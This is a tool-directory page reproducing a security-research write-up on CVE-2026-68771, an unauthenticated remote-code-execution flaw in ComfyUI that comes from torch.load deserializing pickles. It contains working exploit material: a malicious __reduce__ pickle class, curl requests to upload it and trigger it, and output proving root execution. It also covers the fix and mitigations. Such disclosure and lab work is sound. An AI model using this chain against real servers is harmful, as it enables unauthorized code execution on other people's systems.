Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
comfyui-CVE-2026-68771-PoC — Security research lab — Unauthenticated RCE via insecure deserialization in ComfyUI v0.23.0 (CVSS 9.8). Isolated Docker environment, technical analysis and documentation. | Kitploit
Tools/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationAI Security
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Security research lab — Unauthenticated RCE via insecure deserialization in ComfyUI v0.23.0 (CVSS 9.8). Isolated Docker environment, technical analysis and documentation.

View Repository
9h 31m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-68771 — ComfyUI: Unauthenticated RCE via Insecure Deserialization

For educational purposes only. Only use against systems you own or have explicit written authorization to test.


About ComfyUI

ComfyUI is an open-source node-based graphical interface for running AI image and video generation models locally. It allows users to build complex generation pipelines by connecting nodes visually — each node representing an operation such as loading a model, encoding text prompts, sampling, or post-processing images. Its flexibility and support for a wide range of models (Stable Diffusion, Flux, HunyuanVideo, and others) have made it one of the most widely adopted tools in the AI generation community.

The application exposes a local HTTP API on port 8188, through which the frontend communicates with the backend to upload assets and queue generation workflows. While designed for single-user local use, it is common to find ComfyUI instances exposed on internal networks or directly on the internet — in cloud GPU environments, shared research setups, or self-hosted creative studios — often without any additional authentication layer, matching exactly the threat model this vulnerability targets.

At the time of disclosure, ComfyUI had over 65,000 stars on GitHub and an active ecosystem of custom nodes and extensions, many of which introduce additional attack surface beyond the core application.


Executive Summary

CVE-2026-68771 is an insecure deserialization vulnerability (CWE-502) in ComfyUI v0.23.0 that allows an unauthenticated remote attacker to execute arbitrary code on the server. The attack chain combines two unauthenticated endpoints: POST /upload/image to upload a malicious pickle file, and to trigger its deserialization through the node.

POST /prompt
LoadTrainingDataset
FieldValue
CVECVE-2026-68771
CVSS 3.19.8 (Critical)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialization of Untrusted Data)
Vulnerable versionComfyUI v0.23.0 (and earlier without the fix)
Fixed versionCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
PublishedJuly 31, 2026

Lab Environment

  • Platform: Docker (Kali Linux host)
  • Base image: python:3.11-slim
  • ComfyUI version: v0.23.0 (exact git checkout)
  • PyTorch: 2.5.1+cpu (version prior to the weights_only default change)
  • Network isolation: Port published on 127.0.0.1:8188 only, no external network access
  • Process privileges: uid=0 (root)

Technical Analysis

1. Missing Authentication on API Endpoints

POST /upload/image — server.py, lines 450-453:

root@kitploit:~
@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, lines 927-928:

root@kitploit:~
@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Neither endpoint implements any access control. Any HTTP client can upload files and queue workflows without authentication.


2. The Vulnerable Call — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, line 1568:

root@kitploit:~
@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() without weights_only=True uses Python's pickle protocol to deserialize the file. Pickle is not a data format — it is a Python object serialization protocol that executes the __reduce__ method of any object during deserialization, enabling arbitrary code execution.

The node relied on PyTorch's historical default (weights_only=False), making it the only torch.load call in the entire codebase without the explicit parameter. The rest of the codebase (comfy/utils.py, comfy/sd1_clip.py) already passed it correctly.


3. Full Attack Flow

root@kitploit:~
Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

Proof of Concept Evidence (lab)

Crafting the Malicious Pickle

The payload exploits Python's pickle reduce protocol. When torch.load() deserializes the file, Python instantiates the object by calling the callable returned by reduce, executing the attacker-controlled command before any application logic runs.

The filename must match the pattern shard_*.pkl — hardcoded in LoadTrainingDataset.execute() as the file discovery filter:

root@kitploit:~
shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

root@kitploit:~
class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
root@kitploit:~
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Output:

root@kitploit:~
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vector 1 — Unauthenticated File Upload

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Response:

root@kitploit:~
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 with no token, no session, no special headers.


Vector 2 — Unauthenticated Workflow Execution

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

Response:

root@kitploit:~
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

Result — RCE Confirmed

root@kitploit:~
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

The Fix — Commit 94ee49b Diff

File: comfy_extras/nodes_dataset.py
Author: Matt Miller
Date: June 18, 2026
PR: #14543

root@kitploit:~
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)

A single parameter. weights_only=True instructs PyTorch to use a restricted deserializer that only accepts tensors and Python primitive types, rejecting any arbitrary object with __reduce__.

The commit message summarizes it clearly:

"LoadTrainingDataset was the only torch.load call in the codebase without weights_only=True; comfy/utils.py and comfy/sd1_clip.py already pass it. Recent PyTorch defaults to weights_only=True, so this is defense-in-depth for installs pinned to older PyTorch."

PyTorch version note: Starting with PyTorch 2.6, the default value of weights_only changed from False to True, which mitigates the vulnerability on modern PyTorch installs even without the code fix. The CVE particularly affects installations running PyTorch < 2.6, which was the typical production environment when it was published in July 2026.


Mitigations and Recommendations

Immediate Fix

Update ComfyUI to commit 94ee49b or later. One line of code.

Defense in Depth

1. Authentication on API endpoints
ComfyUI is designed for local use. If exposed on a network, it must be protected with a reverse proxy (nginx/Caddy) with basic authentication, or by using the --multi-user flag with proper session management.

2. Never expose ComfyUI directly to the internet
The application design assumes a trusted local environment. The CVSS 9.8 score reflects the complete absence of access controls at the application layer.

3. File type validation on upload
The /upload/image endpoint accepts any file extension including .pkl. It should validate content-type and extension against a whitelist of actual image formats.


Key Takeaways

  • Missing security parameter: The bug was not a complex algorithm flaw — it was the absence of a single parameter in a library call. The inconsistency within the same codebase (other torch.load calls already had it) suggests this node was added without a security review.
  • Implicit trust in library defaults: Relying on a library's default behavior is fragile. PyTorch took years to change the weights_only default; the vulnerable code existed throughout that period.
  • Compound attack surface: Neither issue alone (missing auth + insecure deserialization) would have scored CVSS 9.8 in a typical local-use context. It is the combination of both that makes the vulnerability critical when the instance is exposed on a network.

Analysis conducted in an isolated environment for educational purposes. Lab destroyed after documentation.

Download Tool